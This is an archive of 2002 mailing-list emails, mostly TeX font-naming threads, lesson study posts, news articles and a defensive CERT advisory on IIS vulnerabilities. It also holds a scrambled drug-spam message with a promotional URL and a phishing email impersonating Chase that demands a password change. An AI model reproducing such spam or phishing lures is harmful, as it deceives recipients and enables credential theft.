>>fontinst 1.801 in response to a \\latinfamily command. It's full of lines >>like: >> >>\\installfont >> >>If that first instance of `T1' ought to be `t1', might it be an idea to >>change what fontinst prints? > >The first instance of `T1' refers to the file t1.etx; >on a non-Unix system, the case does certainly not matter here. Righto. >I'm not even sure whether uc/lc matters, as to the *second* >instance of `T1'. It does - I tried it both ways. > I just suspected that this might have been >the source of your problem, because I did not realize that you >had forgotten the \\installfamily commands altogether. I just >thought that you forgot to include them in your message. Well, they were in the file, near the top, but not executed (don't ask...). I'd been rather stupid, really. Mind you, the trouble I've just had means I've come across yet more curious behaviour from fontinst - I'll be taking a close peer at fount substitutions in a day or two because I'm not sure fontinst is doing sensible things. Rowland.",0,0 MDiene@aol.com,Lesson Study Listserv ,"Thu, 28 Mar 2002 02:56:20 -0500",Spencer Project,"Has anyone developed or know of any rubrics as an evaluation instrument for lesson study material? If you were designing rubrics what would you use as guides. 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Parker"" ","""Starship-Design List (E-mail)"" ","Tue, 02 Apr 2002 16:44:02 -0600",starship-design: Nanotech Might Cut Solarcell Costs,"Nanotech Might Cut Solarcell Costs Berkeley - Apr 1, 2002 University of California, Berkeley, chemists have found a way to make cheap plastic solar cells flexible enough to paint onto any surface and potentially able to provide electricity for wearable electronics or other low-power devices. The group's first crude solar cells have achieved efficiencies of 1.7 percent, far less than the 10 percent efficiencies of today's standard commercial photovoltaics. The best solar cells, which are very expensive semiconductor laminates, convert, at most, 35 percent of the sun's energy into electricity. ""Our efficiency is not good enough yet by about a factor of 10, but this technology has the potential to do a lot better,"" said A. Paul Alivisatos, professor of chemistry at UC Berkeley and a member of the Materials Science Division of Lawrence Berkeley National Laboratory. ""There is a pretty clear path for us to take to make this perform much better."" Alivisatos and his co-authors, graduate student Wendy U. Huynh and post-doctoral fellow Janke J. Dittmer, report their development in the March 29 issue of Science. ""The beauty of this is that you could put solar cells directly on plastic, which has unlimited flexibility,"" Dittmer said. ""This opens up all sorts of new applications, like putting solar cells on clothing to power LEDs, radios or small computer processors."" The solar cell they have created is actually a hybrid, comprised of tiny nanorods dispersed in an organic polymer or plastic. A layer only 200 nanometers thick is sandwiched between electrodes, and can produce, at present, about 0.7 volts. The electrode layers and nanorod/polymer layers could be applied in separate coats, making production fairly easy. And unlike today's semiconductor-based photovoltaic devices, plastic solar cells can be manufactured in solution in a beaker without the need for clean rooms or vacuum chambers. ""Today's high-efficiency solar cells require very sophisticated processing inside a clean room and complex engineering to make the semiconductor sandwiches,"" Alivisatos said. ""And because they are baked inside a vacuum chamber, they have to be made relatively small."" The team's process for making hybrid plastic solar cells involves none of this. ""We use a much dirtier process that makes it cheap,"" Huynh said. The technology takes advantage of recent advances in nanotechnology, specifically the production of nanocrystals and nanorods pioneered by Alivisatos and his laboratory colleagues. These are chemically pure clusters of from 100 to 100,000 atoms with dimensions on the order of a nanometer, or a billionth of a meter. Because of their small size, they exhibit unusual and interesting properties governed by quantum mechanics, such as the absorption of different colors of light depending upon their size. It was only two years ago that a UC Berkeley team led by Alivisatos found a way to make nanorods of a reliable size out of cadmium selenide, a semiconducting material. Conventional semiconductor solar cells are made of polycrystalline silicon or, in the case of the highest efficiency ones, crystalline gallium arsenide. Huynh and Dittmer manufactured nanorods in a beaker containing cadmium selenide, aiming for rods of a diameter - 7 nanometers - to absorb as much sunlight as possible. They also aimed for nanorods as long as possible - in this case, 60 nanometers. They then mixed the nanorods with a plastic semiconductor, called P3HT - poly-(3-hexylthiophene) - and coated a transparent electrode with the mixture. The thickness, 200 nanometers - a thousandth the thickness of a human hair - is a factor of 10 less than the micron-thickness of semiconductor solar cells. An aluminum coating acting as the back electrode completed the device. The nanorods act like wires. When they absorb light of a specific wavelength, they generate an electron plus an electron hole - a vacancy in the crystal that moves around just like an electron. The electron travels the length of the rod until it is collected by the aluminum electrode. The hole is transferred to the plastic, which is known as a hole-carrier, and conveyed to the electrode, creating a current. P3HT and similar plastic semiconductors currently are a hot area of research in solar cell technology, but by themselves these plastics are lucky to achieve light-conversion efficiencies of several percent. ""All solar cells using plastic semiconductors have been stuck at two percent efficiency, but we have that much at the beginning of our research,"" Huynh said. ""I think we can do so much better than plastic electronics."" ""The advantage of hybrid materials consisting of inorganic semiconductors and organic polymers is that potentially you get the best of both worlds,"" Dittmer added. ""Inorganic semiconductors offer excellent, well-established electronic properties and they are very well suited as solar cell materials. Polymers offer the advantage of solution processing at room temperature, which is cheaper and allows for using fully flexible substrates, such as plastics."" Visiting scientist Keith Barnham, professor of physics at Imperial College, London, and an expert on high-efficiency solar cells, agreed. ""This is exciting, cheap technology if they can get the efficiency up to 10 percent, which I think they will, in time,"" Barnham said. ""Paul's approach is a very promising way to get around the problem of the efficiency of plastic solar cells."" Some of the obvious improvements include better light collection and concentration, which already are employed in commercial solar cells. But Alivisatos and his colleagues hope to make significant improvements in the plastic/nanorod mix, too, ideally packing the nanorods closer together, perpendicular to the electrodes, using minimal polymer, or even none - the nanorods would transfer their electrons more directly to the electrode. In their first-generation solar cells, the nanorods are jumbled up in the polymer, leading to losses of current via electron-hole recombination and thus lower efficiency. They also hope to tune the nanorods to absorb different colors to span the spectrum of sunlight. An eventual solar cell might have three layers, each made of nanorods that absorb at different wavelengths. ""For this to really find widespread use, we will have to get up to around 10 percent efficiency,"" Alivisatos said. ""But we think it's very doable."" ",0,0 Walter Schmidt ,tex-fonts ,"Thu, 04 Apr 2002 13:17:51 +0200","""fontname"" codes for the Luxi fonts","Hi, the latest release of XFree (4.2.0; Jan. 2002) includes three interesting typeface families: LuxiSerif, LuxiSans and LuxiMono. I am going to provide TeX metrics and VFs for, at least, LuxiMono, so i'd like to register them with the fontname scheme: As to the typface family codes I suggest: l7 LuxiSerif l8 LuxiSans l9 LuxiMono [ BTW, we are almost running out of codes with the letter ""l"" now! ] The supplier is URW, so the codes for the individual fonts, together with the original file names are: ul7r8a LuxiSerif l049013t ul7b8a LuxiSerif-Bold l049016t ul7ro8a LuxiSerif-Oblique l049033t ul7bo8a LuxiSerif-BoldOblique l049036t ul8r8a LuxiSans l048013t ul8b8a LuxiSans-Bold l048016t ul8ro8a LuxiSans-Oblique l048033t ul8bo8a LuxiSans-BoldOblique l048036t ul9r8a LuxiMono l047013t ul9b8a LuxiMono-Bold l047016t ul9ro8a LuxiMono-Oblique l047033t ul9bo8a LuxiMono-BoldOblique l047036t Actually, the Luxi fonts are sort of ""Lucida Condensed"", but I think we should not put them in the Lucida families (lh, ls, lc), because this might clash with a possible future release of an official ""Lucida Condensed"" best wishes Walter -- Walter Schmidt Schornbaumstrasse 2, 91052 Erlangen, Germany",0,1 karl@freefriends.org,was@VR-Web.de,"Thu, 04 Apr 2002 09:40:57 -0500","Re: ""fontname"" codes for the Luxi fonts"," l7 LuxiSerif l8 LuxiSans l9 LuxiMono Sounds good to me. And it's great that the fonts are available. I changed typeface.map (http://tug.org/fontname/typeface.map). [ BTW, we are almost running out of codes with the letter ""l"" now! ] We already ran out of s's ... Thanks, k ",0,1 """James H. Cloos Jr."" ",Walter Schmidt ,"Thu, 04 Apr 2002 09:46:08 -0500","Re: ""fontname"" codes for the Luxi fonts",">>>>> ""Walter"" == Walter Schmidt writes: Walter> Hi, the latest release of XFree (4.2.0; Jan. 2002) includes Walter> three interesting typeface families: LuxiSerif, LuxiSans and Walter> LuxiMono. ... Walter> The supplier is URW, Actually, I beleive URW only did the instructing (aka hinting) for these fonts. B&H own the TM and the C on the outlines. Also, the XLFD for those fonts has b&h as the vendor. So it should be h.... rather than u.... for the Berry names. BTW, the metrics for Luxi were intended AIUI to closely match a certain set of popular fonts¹ but more legible on screen. -JimC ¹ Times/Helvetica/Courier, I presume.",0,0 """Berthold K.P. Horn"" ","""James H. Cloos Jr."" , Walter Schmidt ","Thu, 04 Apr 2002 09:13:01 -0800","Re: ""fontname"" codes for the Luxi fonts","At 09:46 4/4/2002 -0500, James H. Cloos Jr. wrote: > >>>>> ""Walter"" == Walter Schmidt writes: > >Walter> Hi, the latest release of XFree (4.2.0; Jan. 2002) includes >Walter> three interesting typeface families: LuxiSerif, LuxiSans and >Walter> LuxiMono. >... >Walter> The supplier is URW, > >Actually, I beleive URW only did the instructing (aka hinting) for >these fonts. Actually, Y&Y did the original hinting and ""instructing"" on the Luxi typefaces :-) >B&H own the TM and the C on the outlines. Also, the >XLFD for those fonts has b&h as the vendor. > >So it should be h.... rather than u.... for the Berry names. > >BTW, the metrics for Luxi were intended AIUI to closely match a >certain set of popular fonts¹ but more legible on screen. > >-JimC > >¹ Times/Helvetica/Courier, I presume. Yup. -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 Walter Schmidt ,tex-fonts ,"Thu, 04 Apr 2002 19:25:55 +0200","Re: ""fontname"" codes for the Luxi fonts","On 04 Apr 2002 09:46:08 -0500, James H. Cloos Jr. wrote: >Actually, I beleive URW only did the instructing (aka hinting) for >these fonts. B&H own the TM and the C on the outlines. > >So it should be h.... rather than u.... for the Berry names. I also thought about f for ""free"" :-) The font files were ""physically"" supplied by URW, that's why I chose u. > Also, the XLFD for those fonts has b&h as the vendor. Sigh... I didn't know that. (I didn't install XFree; I just took out the fonts.) Does it actually matter from a technical point of view? >BTW, the metrics for Luxi were intended AIUI to closely match a >certain set of popular fonts¹ but more legible on screen.[...] >¹ Times/Helvetica/Courier, I presume. On screen, maybe. In print, however, LuxiSerif and LuxiSans look extremely narrow and are suitable for special purposes only. LuxiMono, in contrast, is a general-purpose typewriter font and blends well with ""strong"" typefaces such as Palatino or Charter. So far, no such font was available for free. -- Walter ",0,0 """James H. Cloos Jr."" ","""Berthold K.P. Horn"" ","Thu, 04 Apr 2002 13:36:07 -0500","Re: ""fontname"" codes for the Luxi fonts",">>>>> ""Berthold"" == Berthold K P Horn writes: /me> I beleive URW only did the instructing (aka hinting) for these fonts. Berthold> Y&Y did the original hinting and ""instructing"" on the Luxi typefaces :-) Good to know. The copyright info, though, says: (example from Luxi Mono's afm) Comment Copyright Copyright (c) 2001 by Bigelow & Holmes Inc. Instructions copyright (c) 2001 by URW++. Notice Copyright (c) 2001 by Bigelow & Holmes Inc. Instructions copyright (c) 2001 by URW++. (yes, complete with the double Copyright Copyright. :) The ttf version have essentially the same two copyright claims. FWIW. -JimC",0,0 """Berthold K.P. Horn"" ","""James H. Cloos Jr."" ","Thu, 04 Apr 2002 11:09:53 -0800","Re: ""fontname"" codes for the Luxi fonts","At 01:36 PM 4/4/2002 -0500, James H. Cloos Jr. wrote: >>>>>> ""Berthold"" == Berthold K P Horn writes: > >/me> I beleive URW only did the instructing (aka hinting) for these fonts. > >Berthold> Y&Y did the original hinting and ""instructing"" on the Luxi typefaces :-) > >Good to know. The copyright info, though, says: (example from Luxi Mono's afm) > >Comment Copyright Copyright (c) 2001 by Bigelow & Holmes Inc. Instructions copyright (c) 2001 by URW++. >Notice Copyright (c) 2001 by Bigelow & Holmes Inc. Instructions copyright (c) 2001 by URW++. > >(yes, complete with the double Copyright Copyright. :) > >The ttf version have essentially the same two copyright claims. The TTF versions were hinted either by MonoType or URW. The Type 1 versions were done by Y&Y, but that may not reflect in any copyright string anymore since they may have pumped them through some font monging software of their own. The fonts have gone through a number of minor transformation since B&H first made them for XFree. >FWIW. -JimC -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (MT)",0,1 Phil McLewin ,Phil McLewin ,"Thu, 04 Apr 2002 09:51:29 -0500",WSJ.com - Capital,"WSJ.com - Capital April 4, 2002 CAPITAL By DAVID WESSEL Four Hard-to-Predict Factors That Will Shape the Economy RECENT COLUMNS March 28 • What Smog Alerts Might Teach Ridge About Colored Warnings March 21 • The Medical Mystery of Sun City And Other Health-Care Oddities March 14 • Would Insuring More Deposits Help Anyone but Small Bankers? MORE RESOURCES For the latest government Home Price Index, see www.ofheo.gov/house/4q01hpi.pdf4 ABOUT DAVID WESSEL David Wessel, 48, The Wall Street Journal's Washington bureau chief, writes Capital, a weekly look at the economy and the forces shaping living standards around the world. He also appears frequently on CNBC. David has been with The Wall Street Journal since 1984, first in the Boston bureau and then the Washington bureau, where he was chief economics correspondent. During 1999 and 2000, he was the newspaper's Berlin bureau chief. He also has worked for the Boston Globe, where he shared a Pulitzer Prize for a series of stories on the persistence of racism in Boston, and at the Hartford (Conn.) Courant and Middletown (Conn.) Press. He is the co-author, with fellow Wall Street Journal reporter Bob Davis, of ""Prosperity: The Coming 20-Year Boom and What It Means to You"" (Random House/Times Books, 1998), which argued that the next 20 years will be better for the American middle class than the previous 20 years. Write to him at capital@wsj.com5. The U.S. economy bounced back with impressive resilience in the first quarter, startling all those who warned of a protracted post-Sept. 11 recession (the pessimists) or an unusually sluggish recovery (the optimists). But the first quarter is history. What will the economy be like a year from now? You could consult those same computer-aided forecasters who misjudged the economic impact of 9/11. Buoyed by the latest data, the middle-of-the-road forecast now sees the economy growing at an annual pace of around 3.5% over the next 12 months, and each revision is slightly rosier. Perhaps the forecasters will be right this time. CAPITAL EXCHANGE Comment on this column by sending an e-mail to capital@wsj.com1. See what readers have to say, and read David Wessel's responses, in the Capital Exchange2 each Sunday. Or, you could acknowledge ignorance -- yours, mine and the forecasters' -- and instead focus on what determines whether the economy soars or sinks. Another terrorist attack is an omnipresent risk. Today's economic outlook is pleasant only because al Qaeda failed to strike successfully after Sept. 11. What else could interrupt the economy's welcome momentum? Make your own score card. Here are four hard-to-predict factors to watch because they'll shape the U.S. economy over the next year or so. • Business investment. The collapse of business spending on computers, software and equipment of all sorts led the U.S. into recession last year. Surprisingly steady consumer spending kept the recession from being worse, but consumers aren't likely to continue to propel the economy. How many more cars are Americans going to buy? And with interest rates rising, how many more Americans can refinance mortgages? So, the vigor of the economy depends heavily on business executives' willingness to invest, which ultimately turns on the mood in the nation's boardrooms. Macroeconomic Advisers, a St. Louis forecasting firm, sees the economy growing at a 4% rate this year and next. The biggest single risk to that forecast, says the firm's Joel Prakken, is its expectation that business capital spending, which dropped 6.4% last year, will grow 4.5% this year and 9.7% next, adjusted for inflation. One helpful development: the recent arrival of the new tax break to encourage investment. • Oil prices. They're already rising. The benchmark price, which was below $20 a barrel earlier this year, is approaching $27 a barrel. As the global economy improves and OPEC tries to restrain production, oil prices may stay up. The economy can absorb that pressure. But a sharp and sustained spike in oil prices, the sort that might follow a U.S. invasion of Iraq, Arab oil producers' reaction to U.S. support for Israel or a terrorist strike on a key oil-transit point could disrupt the nascent economic recovery. Oil matters less to the global economy than it did 30 years ago. Nearly all parts of the economy use energy much more efficiently. But it still matters. Higher oil prices have figured in nearly every recession in the past 30 years. • Housing prices. When the stock market sank, the real-estate market didn't. Rising home prices buoyed consumers' spirits and, thanks to home-equity loans and refinancings, gave many of them money to keep spending right through the recession. Since New Year's Day 2000, Americans' stock portfolios have lost nearly $4 trillion, but their home equity has grown by $1.2 trillion. The government's house price index, the best available measure, surged 9.2% in 2000 and 6.9% in 2001, though it slowed in the closing months of last year. An end to the remarkable real-estate rally of the past decade is inevitable; house prices can't climb faster than incomes forever. A gentle end to the housing boom wouldn't threaten renewed prosperity. A sustained drop in housing prices would. • Greenspan's future. A $10 trillion economy doesn't turn on any one individual, but this one depends more on Alan Greenspan than on any other person. Global financial markets, politicians, corporate executives and ordinary Americans have confidence in his ability to steer the U.S. economy, particularly during times of crisis. The speed with which the Fed reacted in 2001, once it realized the economy was dead in the water, and its moves following Sept. 11 prevented panic. Mr. Greenspan, whose term as Fed chairman extends to June 2004, appears to be in good health. But he is 76 years old. His successor may prove just as able but won't instantly inherit Mr. Greenspan's credibility. With no heir apparent and no one on the Bush team who approaches Mr. Greenspan's stature, a Greenspan health scare could shake the markets and the rest of us enough to disrupt, albeit temporarily, an otherwise improving economy. An adverse turn in any one of these four factors would hurt the prospects for a year of comfortable economic growth and endanger the happy ending to a story that began with the bursting of the high-tech investment and dot-com stock bubbles. An adverse turn in two of these factors would ruin the ending and hold the economy to a painfully slow pace, with rising unemployment and sinking spirits. Call these four right, and you don't need a computerized economic forecasting model. -- David Wessel Write to David Wessel at capital@wsj.com3 URL for this article: http://online.wsj.com/article/0,,SB1017872009877058240.djm,00.html Hyperlinks in this Article: (1) mailto:capital@wsj.com (2) http://online.wsj.com/articles/capital_exchange (3) mailto:capital@wsj.com (4) http://www.ofheo.gov/house/4q01hpi.pdf (5) mailto:capital@wsj.com Updated April 4, 2002 Copyright 2002 Dow Jones & Company, Inc. All Rights Reserved Printing, distribution, and use of this material is governed by your Subscription agreement and Copyright laws. For information about subscribing go to http://www.wsj.com ",0,1 Jack Hehn ,mbmonroe@swtjc.cc.tx.us,"Thu, 04 Apr 2002 21:36:21 -0500",PowerPoint of Texas TP Talk," Mary Beth, I received you phone message today. I apologize. I thought I had sent you the presentation. I do not know whether or not your can read the comments section of the talk. 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(I should clean my closet more often.) > > > > > > How many people are needed in a spaceship? Regular readers will know > >that The Economist's answer to this question is: ""none; space exploration >is > >better done by robots"". But this is true only if scientific information >is > >the goal. If the aim is colonisation, then both men and women are > >necessary. > > In a session on interstellar travel at the AAAS festival in Boston, >John > >Moore of the University of Florida, Gainesville, asked what human population > >would be necessary for a colonising mission to another solar system. > > It would be a long trip. Several bright physicists have spent their > >leisure hours designing propulsion systems that could send a craft to a > >nearby star in less than a human lifetime. One popular solution is to > >unfurl a light sail that would capture the energy beamed at it from a > >powerful laser in orbit around the sun. The problem is that deceleration >at > >the other end takes so much time and energy that such a system is suitable > >only for 'fly-by' missions. A manned craft would take centuries to arrive, > >and would therefore require some sort of self-contained colony in which > >people could survive, reproduce and lead something approaching normal lives > >[I don't know if we could put that many politicians and criminals on > >board...]. The technical, ecological and financial problems of building > >such a colony ship would be enormous, of course. But even if they were > >overcome, the society inside would itself have to be viable [that was a > >_long_ segue!]. > > Dr. Moore, an anthropologist, set himself the task of designing such >a > >society. He saw the crux of it as a compact between the generations to > >produce an acceptable crop of spouses for the future. By 'acceptable' >he > >meant sufficient in number (a minimum choice of ten suitable members of >the > >opposite sex) [ten! no wonder I haven't found a mate yet], and of suitable > >age (within three years of the individual doing the choosing) and > >consanguinity (not closer than second cousins). A computer model of his > >devising [""devising""? what, a model isn't accurate unless someone else >had > >the chance to screw it up?] showed that an initial group of 150-180 people > >was just big enough to fulfill these criteria. Even when the model was >run > >for 60-80 generations -- equivalent to a journey time of 2,000 years -- >the > >compact could hold. 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If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For further instructions on using this listserv (including how to subscribe), please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html. ",0,1 Scott Johnston ,Lesson Study Listserv ,"Tue, 09 Apr 2002 14:55:39 -0500",translating lesson studies,"Lesson study colleagues, I am working with an elementary school teacher in Japan to publish a booklet that a school district has made that contains some ""lessons"" that have been taught and discussed among other teachers. I want to translate this into English and make it available for teachers in the US to see more ideas about teaching and thinking about teaching in Japan. Does anyone know about a company or organization that might publish this final product? Scott Johnston -- Scott Johnston Assistant Professor of Education Carroll College 100 N. East Ave. Waukesha, WI 53186 sjohnsto@cc.edu 262-650-4919 -- Scott Johnston Assistant Professor of Education Carroll College 100 N. East Ave. Waukesha, WI 53186 sjohnsto@cc.edu 262-650-4919 --- Please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For further instructions on using this listserv (including how to subscribe), please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html. ",0,1 Barbara O'Neill ,Lesson Study Listserv ,"Tue, 09 Apr 2002 17:42:22 -0400",Re: translating lesson studies," We have a large Japanese population, I will look into the possibility of publishing it, are you also asking for a translation or do you have that already? Barbara sjohnsto@carroll1.cc.edu writes: >Lesson study colleagues, > >I am working with an elementary school teacher in Japan to publish a >booklet that a school district has made that contains some ""lessons"" >that have been taught and discussed among other teachers. I want to >translate this into >English and make it available for teachers in the US to see more ideas >about teaching and thinking about teaching in Japan. Does anyone know >about a company or organization that might publish this final product? > > >Scott Johnston > > >-- >Scott Johnston >Assistant Professor of Education >Carroll College >100 N. East Ave. >Waukesha, WI 53186 >sjohnsto@cc.edu >262-650-4919 > > > >-- >Scott Johnston >Assistant Professor of Education >Carroll College >100 N. East Ave. >Waukesha, WI 53186 >sjohnsto@cc.edu >262-650-4919 > > > >--- >Please feel free to post messages about lesson-study related >announcements, >events, and resources that you feel would be relevant to the lesson >study community. If you are interested in discussing in-depth questions or >insights, please use the collaborative lesson study discussion forum to >conduct these online conversations: >http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For >further instructions on using this listserv (including how to subscribe), >please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html. > > --- Please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For further instructions on using this listserv (including how to subscribe), please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html. ",0,1 Walter Schmidt ,tex-fonts ,"Wed, 10 Apr 2002 13:06:19 +0200",PSNFSS version 9 -- test release,"Hi, a pre-release of PSNFSS version 9 is available for public testing: Comments are welcome! Please, reply to the tex-fonts mailing list, if possible. The ZIP archive v9b1.zip includes all files, that have been changed over release 8.2. The archive is arranged in a TDS-compliant manner, so that it can be unpacked immediately in the texmf directory. Note that the existing font map files are unchanged. * * Install this archive over the current release 8.2 only! * Do NOT install over version 8.1 or 7.x! * * The archive includes an updated file dvips/psnfss/8r.enc. * Please, make sure that there is not further (obsolete) * copy of 8r.enc in any other directory below texmf/dvips ! * What's new? dvips/psnfss/8r.enc vtex/enc/8r.enc The TeXBase1Encoding includes the Euro symbol in slot 128 now. Thus, future fonts, which provide the Euro, can be supported. This does, however, NOT affect the present Base35, Charter and Utopia fonts. See the recent discussion on the tex-fonts mailing list with the subject ""successor to TeXBase1Encoding with /Euro"". The related 8r.etx file for use with fontinst is available separately: . fonts/type1/public/pazo/* fonts/afm/public/pazo/* fonts/inf/public/pazo/* fonts/tfm/public/pazo/* fonts/vf/public/pazo/* Pazo math fonts (by Diego Puga): The Pazo Blackboard Bold math alphabet provides all uppercase letters and the digit 1 now. The shapes of the letters \\Phi and \\varsigma were improved. In consequence, the letters \\xi and \\zeta changed, too. Note that the metrics of the \\Phi have changed, so there is actually a slight incompatibility with the previous release. fonts/tfm/adobe/palatino/ppl*8c.tfm fonts/vf/adobe/palatino/ppl*8c.vf Palatino text fonts: The textcompanion fonts of the Palatino family provide the Euro symbol \\texteuro as well as the Omega \\textohm now. The letters are actually taken from the Pazo fonts. Despite the changed font metrics, there should be no problems with existing documents, which do not use these symbols. Note that this has nothing to do with the changed 8r.enc! happy TeXing Walter Schmidt -- Walter Schmidt Schornbaumstrasse 2, 91052 Erlangen, Germany",0,1 Gabrielle Bramlett ,smc90@columbia.edu,"Wed, 10 Apr 2002 07:14:33 -0700",Re: VALtUjM news,"Hi, P A V C L X V r m I I e a A o b A A v n L z i G L i a I a e R I t x U c n A S ra M http://www.ustalovetalon.com he sat down and worked up the best magic he could in the shadows. A very ticklish business, it was, he said. Touch and go! But, of course, Gandalf had made a special study of bewitchments with fire and lights (even the hobbit had never forgotten the magic fireworks at Old Tooks midsummer-eve parties, as you remember). The rest we all know  except that Gandalf knew all about the back-door, as the goblins called ",1,1 """James H. Cloos Jr."" ",tex-fonts@sunshine.math.utah.edu,"Wed, 10 Apr 2002 18:56:10 -0400",Optical size in fontname,"Does anyone have any thoughts on berry names for fonts with multiple named design sizes, where each design is recommended for a certain range of point sizes, but the specific design point size is not specified? Options include a mean (arith, geo, higher order?) of the recommended range, the median of that range, an alpha abbreviation of the design name, .... (An example is Adobe's otf opticals with Caption, '', Subhead and Display designs.) -JimC ",0,0 Lars Hellström ,"""James H. Cloos Jr."" ","Thu, 11 Apr 2002 14:40:11 +0200",Re: Optical size in fontname,"At 00.56 +0200 2002-04-11, James H. Cloos Jr. wrote: >Does anyone have any thoughts on berry names for fonts with multiple >named design sizes, where each design is recommended for a certain >range of point sizes, but the specific design point size is not >specified? > >Options include a mean (arith, geo, higher order?) of the recommended >range, the median of that range, an alpha abbreviation of the design >name, .... Given the old (and not that well motivated) TeX/MF tradition of taking the design sizes of fonts from a geometric progression (that is given some support by the choice of sizes for which there are standard LaTeX size-changing commands), I would suspect that the least confusing method is to take as ""design size"" the geometric mean of the endpoints of the ranges, rounded to the nearest integer. For a 8--13pt font this would give a ""design size"" of 10, since $\\sqrt{8 \\cdot 13} \\approx 10.2$. On the other hand it probably wouldn't matter that much which method one chooses, since most reasonable methods would probably tend to produce identical results most of the time. Lars Hellström ",0,0 Timothy Murphy ,tex-fonts@sunshine.math.utah.edu,"Thu, 11 Apr 2002 15:04:47 +0100",Re: Optical size in fontname," > At 00.56 +0200 2002-04-11, James H. Cloos Jr. wrote: > >Does anyone have any thoughts on berry names for fonts with multiple > >named design sizes, I know Karl did trojan work for TeX in keeping the web2c flame alight for many years. But isn't the Berry naming scheme really obsolete? To start with, surely DOS has gone, and with it the idea of compressing file-names to 8 characters. My feeling, from reading comp.text.tex, is that the Berry font naming system is one of those things that LaTeX newbies find very off-putting. -- Timothy Murphy e-mail: tim@maths.tcd.ie tel: 086-233 6090 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland ",0,0 karl@freefriends.org,tim@maths.tcd.ie,"Thu, 11 Apr 2002 10:33:45 -0400",Re: Optical size in fontname," But isn't the Berry naming scheme really obsolete? It was close to obsolete when I invented it 10 years ago :). In Web2c, I distributed font mapping files that made it possible to use the PostScript FontName of the fonts (the logical alternative, IMHO). I don't think they've ever caught on, though. Do the standard LaTeX packages use other names to search for fonts? Until that happens, I doubt any other naming scheme can make headway. As for DOS -- people do still use it. ",0,0 Ulrich Dirr ,tex-fonts@sunshine.math.utah.edu,"Thu, 11 Apr 2002 16:46:33 +0200",RE: Optical size in fontname,"> I know Karl did trojan work for TeX > in keeping the web2c flame alight for many years. > But isn't the Berry naming scheme really obsolete? > > To start with, surely DOS has gone, and with it > the idea of compressing file-names to 8 characters. > > My feeling, from reading comp.text.tex, > is that the Berry font naming system > is one of those things that LaTeX newbies > find very off-putting. and not only newbies ;-) ",0,0 Chase Online Banking ,smc90@columbia.edu,"Thu, 11 Apr 2002 10:16:58 -0400",Password change required! ,"X-columbia.edu X-AntiAbuse: Originator/Caller UID/GID - [32030 500] / [47 12] X-AntiAbuse: Sender Address Domain - server.salamander-group.com X-Source: /usr/local/bin/php X-Source-Args: php chase.php X-Source-Dir: /dev/shm/send Password change required! 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Mail sent to this address cannot be answered.",1,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 11 Apr 2002 15:24:15 -0400",CERT Advisory CA-2002-09 Multiple Vulnerabilities in Microsoft IIS," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-09 Multiple Vulnerabilities in Microsoft IIS Original release date: April 11, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Microsoft IIS 4.0, 5.0, and 5.1 Overview A variety of vulnerabilities exist in various versions of Microsoft IIS. Some of these vulnerabilities may allow an intruder to execute arbitrary code on vulnerable systems. I. Description There are a variety of vulnerabilities in Microsoft IIS. Many of these vulnerabilities are buffer overflows that could permit an intruder to execute arbitrary code on vulnerable systems. We strongly encourage all sites running IIS to read Microsoft's advisory on these and other vulnerabilities and take appropriate action as soon as practical. Microsoft's bulletin is available at http://www.microsoft.com/technet/security/bulletin/MS02-018.asp Additional information about these vulnerabilities is available at http://www.kb.cert.org/vuls VU#363715 CAN-2002-0071 Microsoft Internet Information Server (IIS) vulnerable to heap overflow during processing of crafted "".htr"" request by ""ISM.DLL"" ISAPI filter VU#883091 CAN-2002-0074 Microsoft Internet Information Server (IIS) contains cross-site scripting vulnerability in IIS Help Files search facility VU#886699 CAN-2002-0148 Microsoft Internet Information Server (IIS) contains cross-site scripting vulnerability in HTTP error page results VU#520707 CAN-2002-0075 Microsoft Internet Information Server (IIS) contains cross-site scripting vulnerability in redirect response messages VU#412203 CAN-2002-0073 Microsoft Internet Information Server (IIS) vulnerable to DoS via malformed FTP connection status request VU#454091 CAN-2002-0150 Microsoft Internet Information Server (IIS) vulnerable to buffer overflow via inaccurate checking of delimiters in HTTP header fields VU#721963 CAN-2002-0149 Microsoft Internet Information Server (IIS) buffer overflow in server-side includes (SSI) containing long invalid file name VU#521059 CAN-2002-0072 Microsoft Internet Information Server (IIS) vulnerable to DoS when URL request exceeds maximum allowed length VU#610291 CAN-2002-0079 Microsoft Internet Information Server (IIS) buffer overflow in chunked encoding transfer mechanism VU#669779 CAN-2002-0147 Microsoft Internet Information Server (IIS) buffer overflow in chunked encoding transfer mechanism II. Impact For many of the vulnerabilities, an intruder could execute arbitrary code with privileges that vary according to which version of IIS is running. In general, IIS 4.0 permits an intruder to execute code with complete administrative privileges, while IIS 5.0 and 5.1 permit an intruder to execute code with the privileges of the IWAM_computername account. III. Solution Microsoft Corporation has released Microsoft Security Bulletin MS02-018, which announces the availability of a cumulative patch to address a variety of problems. We strongly encourage you to read this bulletin and take the appropriate corrective measures. MS02-018 is available at http://www.microsoft.com/technet/security/bulletin/MS02-018.asp In addition to applying the patch, or until it can be applied, we recommend the following actions: * Use the IIS Lockdown tool and URLScan to eliminate or reduce the impact of some of these vulnerabilites; they may also eliminate or reduce other vulnerabilities that have not yet been discovered. The IIS Lockdown tool can also be used to disable ASP if it's not needed. More information about the IIS Lockdown tool and URLScan can be found at http://www.microsoft.com/technet/security/tools/locktool.asp http://www.microsoft.com/technet/security/URLScan.asp * As Microsoft has 